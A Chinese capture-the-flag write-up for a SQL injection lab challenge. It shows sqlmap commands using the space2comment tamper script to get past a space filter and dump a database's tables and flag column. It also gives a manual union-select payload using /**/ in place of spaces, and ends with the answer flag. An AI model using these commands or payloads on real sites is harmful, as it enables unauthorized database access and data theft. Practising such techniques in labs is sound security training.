解题链接展开目录
思路展开目录
先单引号试一下发现报错,所以基本存在注入,然后我们用空格会爆 SQLi detected! 因此被过滤了,所以过滤的是空格,然后就可以用 sqlmap 爆库爆表爆字段爆值了
1. 爆库展开目录
- sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs
-u:指目标的 URL
--tamper:绕过 WAF 脚本
space2comment:tamper 脚本之一用于绕过过滤空格
--dbs:列举数据库information_schema 和 test 都是 MySQL 自带的库,所以不用管,接下来要爆的表肯定是在 web1 这个库中
2. 爆表展开目录
- sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --tables
-D:后面跟数据库的名字
--tables:列举库中的表可以看到这个库中就两个表,一个 flag,另一个 web_1,继续爆 flag 这个表里面的字段
3. 爆字段展开目录
- sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag --column
-T:后面跟表名字
--column;列举表中的列名 (字段)
4. 爆值展开目录
- sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag -C flag --dump
-C:后面跟列的名字
--dump:取出表单所有记录
其实在爆出表和字段之后就可以利用 union 联合查询查出 flag 了,因为频闭了空格,可以利用 /**/ 来代替空格
- 1'/**/union/**/select/**/flag/**/from/**/flag#
答案展开目录
- flag{Y0u_@r3_5O_dAmn_90Od}